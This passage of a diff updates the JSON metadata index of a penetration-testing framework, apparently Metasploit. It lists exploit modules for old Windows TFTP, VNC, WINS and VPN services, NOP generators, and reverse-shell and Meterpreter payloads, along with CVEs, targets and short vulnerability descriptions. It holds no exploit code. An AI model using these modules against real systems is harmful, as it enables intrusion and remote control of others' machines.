300, "disclosure_date": "2008-03-26", "type": "exploit", @@ -196638,7 +202237,7 @@ "Mati Aharoni", "Datacut" ], - "description": "This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw\n is due to the way TFTP handles the filename parameter extracted from a WRQ request.\n The server will append the user-supplied filename to TFTP server binary's path\n without any bounds checking, and then attempt to check this path with a fopen().\n Since this isn't a valid file path, fopen() returns null, which allows the\n corrupted data to be used in a strcmp() function, causing an access violation.\n\n Since the offset is sensitive to how the TFTP server is launched, you must know\n in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'\n , and then manually select your target accordingly. A successful attempt will lead\n to remote code execution under the context of SYSTEM if run as a service, or\n the user if run as a standalone. A failed attempt will result a denial-of-service.", + "description": "This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw\n is due to the way TFTP handles the filename parameter extracted from a WRQ request.\n The server will append the user-supplied filename to TFTP server binary's path\n without any bounds checking, and then attempt to check this path with a fopen().\n Since this isn't a valid file path, fopen() returns null, which allows the\n corrupted data to be used in a strcmp() function, causing an access violation.\n\n Since the offset is sensitive to how the TFTP server is launched, you must know\n in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'\n , and then manually select your target accordingly. A successful attempt will lead\n to remote code execution under the context of SYSTEM if run as a service, or\n the user if run as a standalone. A failed attempt will result a denial-of-service.", "references": [ "CVE-2008-1611", "OSVDB-43785", @@ -196648,12 +202247,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 EN Service Mode", "Windows XP SP2/SP3 EN Standalone Mode", @@ -196662,7 +202257,7 @@ "Windows 7 SP0/SP1 EN x86 Service Mode", "Windows 7 SP0/SP1 EN x86 Standalone Mode" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb", "is_install_path": true, "ref_name": "windows/tftp/tftpserver_wrq_bof", @@ -196670,6 +202265,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196677,16 +202281,14 @@ "exploit_windows/tftp/threectftpsvc_long_mode": { "name": "3CTftpSvc TFTP Long Mode Buffer Overflow", "fullname": "exploit/windows/tftp/threectftpsvc_long_mode", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-11-27", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By\n sending a specially crafted packet with an overly long mode\n field, a remote attacker could overflow a buffer and execute\n arbitrary code on the system.", + "description": "This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By\n sending a specially crafted packet with an overly long mode\n field, a remote attacker could overflow a buffer and execute\n arbitrary code on the system.", "references": [ "CVE-2006-6183", "OSVDB-30758", @@ -196696,16 +202298,12 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "3CTftpSvc 2.0.1" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb", "is_install_path": true, "ref_name": "windows/tftp/threectftpsvc_long_mode", @@ -196713,6 +202311,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196720,16 +202327,14 @@ "exploit_windows/unicenter/cam_log_security": { "name": "CA CAM log_security() Stack Buffer Overflow (Win32)", "fullname": "exploit/windows/unicenter/cam_log_security", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-08-22", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits a vulnerability in the CA CAM service\n by passing a long parameter to the log_security() function.\n The CAM service is part of TNG Unicenter. This module has\n been tested on Unicenter v3.1.", + "description": "This module exploits a vulnerability in the CA CAM service\n by passing a long parameter to the log_security() function.\n The CAM service is part of TNG Unicenter. This module has\n been tested on Unicenter v3.1.", "references": [ "CVE-2005-2668", "OSVDB-18916", @@ -196738,12 +202343,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "W2API.DLL TNG 2.3", "Windows 2000 SP0-SP4 English", @@ -196751,7 +202352,7 @@ "Windows XP SP2 English", "Windows 2003 SP0 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/unicenter/cam_log_security.rb", "is_install_path": true, "ref_name": "windows/unicenter/cam_log_security", @@ -196759,6 +202360,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196766,9 +202376,7 @@ "exploit_windows/vnc/realvnc_client": { "name": "RealVNC 3.3.7 Client Buffer Overflow", "fullname": "exploit/windows/vnc/realvnc_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2001-01-29", "type": "exploit", @@ -196784,18 +202392,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", "Windows 2003 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/vnc/realvnc_client.rb", "is_install_path": true, "ref_name": "windows/vnc/realvnc_client", @@ -196803,6 +202407,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196810,16 +202423,14 @@ "exploit_windows/vnc/ultravnc_client": { "name": "UltraVNC 1.0.1 Client Buffer Overflow", "fullname": "exploit/windows/vnc/ultravnc_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-04-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in UltraVNC Win32\n Viewer 1.0.1 Release.", + "description": "This module exploits a buffer overflow in UltraVNC Win32\n Viewer 1.0.1 Release.", "references": [ "CVE-2006-1652", "OSVDB-24456", @@ -196828,18 +202439,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", "Windows 2003 SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/vnc/ultravnc_client.rb", "is_install_path": true, "ref_name": "windows/vnc/ultravnc_client", @@ -196847,6 +202454,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196854,16 +202470,14 @@ "exploit_windows/vnc/ultravnc_viewer_bof": { "name": "UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow", "fullname": "exploit/windows/vnc/ultravnc_viewer_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-06", "type": "exploit", "author": [ "noperand" ], - "description": "This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.\n\n If a malicious server responds to a client connection indicating a minor\n protocol version of 14 or 16, a 32-bit integer is subsequently read from\n the TCP stream by the client and directly provided as the trusted size for\n further reading from the TCP stream into a 1024-byte character array on\n the stack.", + "description": "This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.\n\n If a malicious server responds to a client connection indicating a minor\n protocol version of 14 or 16, a 32-bit integer is subsequently read from\n the TCP stream by the client and directly provided as the trusted size for\n further reading from the TCP stream into a 1024-byte character array on\n the stack.", "references": [ "CVE-2008-0610", "OSVDB-42840", @@ -196872,16 +202486,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb", "is_install_path": true, "ref_name": "windows/vnc/ultravnc_viewer_bof", @@ -196889,6 +202499,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196896,16 +202515,14 @@ "exploit_windows/vnc/winvnc_http_get": { "name": "WinVNC Web Server GET Overflow", "fullname": "exploit/windows/vnc/winvnc_http_get", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2001-01-29", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a buffer overflow in the AT&T WinVNC version\n <= v3.3.3r7 web server. When debugging mode with logging is\n enabled (non-default), an overly long GET request can overwrite\n the stack. This exploit does not work well with VNC payloads!", + "description": "This module exploits a buffer overflow in the AT&T WinVNC version\n <= v3.3.3r7 web server. When debugging mode with logging is\n enabled (non-default), an overly long GET request can overwrite\n the stack. This exploit does not work well with VNC payloads!", "references": [ "BID-2306", "OSVDB-6280", @@ -196934,7 +202551,7 @@ "Windows 2000 SP1-4", "Windows XP SP0-1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/vnc/winvnc_http_get.rb", "is_install_path": true, "ref_name": "windows/vnc/winvnc_http_get", @@ -196942,6 +202559,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196949,16 +202575,14 @@ "exploit_windows/vpn/safenet_ike_11": { "name": "SafeNet SoftRemote IKE Service Buffer Overflow", "fullname": "exploit/windows/vpn/safenet_ike_11", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-06-01", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe\n service. When sending a specially crafted udp packet to port 62514 an\n attacker may be able to execute arbitrary code. This module has\n been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using\n windows/meterpreter/reverse_ord_tcp payloads.", + "description": "This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe\n service. When sending a specially crafted udp packet to port 62514 an\n attacker may be able to execute arbitrary code. This module has\n been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using\n windows/meterpreter/reverse_ord_tcp payloads.", "references": [ "CVE-2009-1943", "OSVDB-54831", @@ -196968,18 +202592,14 @@ "platform": "Windows", "arch": "", "rport": 62514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SafeNet Irelke 10.8.0.20", "SafeNet Irelke 10.8.0.10", "SafeNet Irelke 10.8.3.6" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/vpn/safenet_ike_11.rb", "is_install_path": true, "ref_name": "windows/vpn/safenet_ike_11", @@ -196987,6 +202607,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -196994,9 +202623,7 @@ "exploit_windows/winrm/winrm_script_exec": { "name": "WinRM Script Exec Remote Code Execution", "fullname": "exploit/windows/winrm/winrm_script_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-11-01", "type": "exploit", @@ -197056,16 +202683,14 @@ "exploit_windows/wins/ms04_045_wins": { "name": "MS04-045 Microsoft WINS Service Memory Overwrite", "fullname": "exploit/windows/wins/ms04_045_wins", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-12-14", "type": "exploit", "author": [ "hdm " ], - "description": "This module exploits an arbitrary memory write flaw in the\n WINS service. This exploit has been tested against Windows\n 2000 only.", + "description": "This module exploits an arbitrary memory write flaw in the\n WINS service. This exploit has been tested against Windows\n 2000 only.", "references": [ "CVE-2004-1080", "OSVDB-12378", @@ -197075,16 +202700,12 @@ "platform": "Windows", "arch": "", "rport": 42, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/wins/ms04_045_wins.rb", "is_install_path": true, "ref_name": "windows/wins/ms04_045_wins", @@ -197092,6 +202713,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -197099,9 +202729,7 @@ "nop_aarch64/simple": { "name": "Simple", "fullname": "nop/aarch64/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197109,33 +202737,28 @@ "timwr" ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/aarch64/simple.rb", "is_install_path": true, "ref_name": "aarch64/simple", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_armle/simple": { "name": "Simple", "fullname": "nop/armle/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197143,33 +202766,28 @@ "hdm " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "armle", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/armle/simple.rb", "is_install_path": true, "ref_name": "armle/simple", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_cmd/generic": { "name": "Generic Command Nop Generator", "fullname": "nop/cmd/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197178,9 +202796,7 @@ "bcoles " ], "description": "Generates harmless padding for command payloads.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "cmd", "rport": null, @@ -197194,17 +202810,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_mipsbe/better": { "name": "Better", "fullname": "nop/mipsbe/better", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197212,33 +202825,28 @@ "jm" ], "description": "Better NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/mipsbe/better.rb", "is_install_path": true, "ref_name": "mipsbe/better", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_php/generic": { "name": "PHP Nop Generator", "fullname": "nop/php/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197246,33 +202854,28 @@ "hdm " ], "description": "Generates harmless padding for PHP scripts", - "references": [ - - ], + "references": [], "platform": "All", "arch": "php", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-09-10 21:28:43 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/php/generic.rb", "is_install_path": true, "ref_name": "php/generic", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_ppc/simple": { "name": "Simple", "fullname": "nop/ppc/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197280,33 +202883,28 @@ "hdm " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-08-20 15:53:49 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/ppc/simple.rb", "is_install_path": true, "ref_name": "ppc/simple", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_riscv32le/simple": { "name": "Simple", "fullname": "nop/riscv32le/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197314,9 +202912,7 @@ "bcoles " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "riscv32le", "rport": null, @@ -197330,17 +202926,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_riscv64le/simple": { "name": "Simple", "fullname": "nop/riscv64le/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197348,9 +202941,7 @@ "bcoles " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "riscv64le", "rport": null, @@ -197364,17 +202955,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_sparc/random": { "name": "SPARC NOP Generator", "fullname": "nop/sparc/random", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197382,33 +202970,28 @@ "vlad902 " ], "description": "SPARC NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "sparc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-08-27 11:24:38 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/sparc/random.rb", "is_install_path": true, "ref_name": "sparc/random", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_tty/generic": { "name": "TTY Nop Generator", "fullname": "nop/tty/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197416,33 +202999,28 @@ "hdm " ], "description": "Generates harmless padding for TTY input", - "references": [ - - ], + "references": [], "platform": "All", "arch": "tty", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/tty/generic.rb", "is_install_path": true, "ref_name": "tty/generic", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x64/simple": { "name": "Simple", "fullname": "nop/x64/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197450,33 +203028,28 @@ "sf " ], "description": "An x64 single/multi byte NOP instruction generator.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-01-07 14:06:31 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/x64/simple.rb", "is_install_path": true, "ref_name": "x64/simple", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x86/opty2": { "name": "Opty2", "fullname": "nop/x86/opty2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197485,33 +203058,28 @@ "optyx " ], "description": "Opty2 multi-byte NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/x86/opty2.rb", "is_install_path": true, "ref_name": "x86/opty2", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x86/single_byte": { "name": "Single Byte", "fullname": "nop/x86/single_byte", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197519,33 +203087,28 @@ "spoonm " ], "description": "Single-byte NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-04-13 11:27:49 +0000", "path": "/modules/nops/x86/single_byte.rb", "is_install_path": true, "ref_name": "x86/single_byte", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "payload_aix/ppc/shell_bind_tcp": { "name": "AIX Command Shell, Bind TCP Inline", "fullname": "payload/aix/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197553,24 +203116,21 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "aix/ppc/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197579,9 +203139,7 @@ "payload_aix/ppc/shell_find_port": { "name": "AIX Command Shell, Find Port Inline", "fullname": "payload/aix/ppc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197589,24 +203147,21 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_find_port.rb", "is_install_path": true, "ref_name": "aix/ppc/shell_find_port", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197615,9 +203170,7 @@ "payload_aix/ppc/shell_interact": { "name": "AIX execve Shell for inetd", "fullname": "payload/aix/ppc/shell_interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197625,24 +203178,21 @@ "jduck " ], "description": "Simply execve /bin/sh (for inetd programs)", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_interact.rb", "is_install_path": true, "ref_name": "aix/ppc/shell_interact", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197651,9 +203201,7 @@ "payload_aix/ppc/shell_reverse_tcp": { "name": "AIX Command Shell, Reverse TCP Inline", "fullname": "payload/aix/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197661,24 +203209,21 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "aix/ppc/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197687,9 +203232,7 @@ "payload_android/meterpreter/reverse_http": { "name": "Android Meterpreter, Android Reverse HTTP Stager", "fullname": "payload/android/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197700,24 +203243,21 @@ "anwarelmakrahy" ], "description": "Run a meterpreter server in Android.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_http.rb", "is_install_path": true, "ref_name": "android/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197728,9 +203268,7 @@ "payload_android/meterpreter/reverse_https": { "name": "Android Meterpreter, Android Reverse HTTPS Stager", "fullname": "payload/android/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197741,24 +203279,21 @@ "anwarelmakrahy" ], "description": "Run a meterpreter server in Android.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_https.rb", "is_install_path": true, "ref_name": "android/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197769,9 +203304,7 @@ "payload_android/meterpreter/reverse_tcp": { "name": "Android Meterpreter, Android Reverse TCP Stager", "fullname": "payload/android/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197781,24 +203314,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Android.\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/android/reverse_tcp.rb", "is_install_path": true, "ref_name": "android/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197809,34 +203339,27 @@ "payload_android/meterpreter_reverse_http": { "name": "Android Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/android/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-08-13 16:21:39 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "android/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197845,34 +203368,27 @@ "payload_android/meterpreter_reverse_https": { "name": "Android Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/android/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-08-13 16:21:39 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/android/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "android/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197881,34 +203397,27 @@ "payload_android/meterpreter_reverse_tcp": { "name": "Android Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/android/meterpreter_reverse_tcp", - "aliases": [ 